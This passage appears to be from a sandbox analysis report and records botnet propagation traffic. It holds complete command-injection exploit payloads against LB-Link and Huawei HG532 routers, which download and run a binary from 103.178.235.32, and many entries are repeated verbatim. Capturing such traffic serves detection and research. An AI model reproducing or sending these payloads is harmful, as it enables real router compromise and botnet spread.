45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
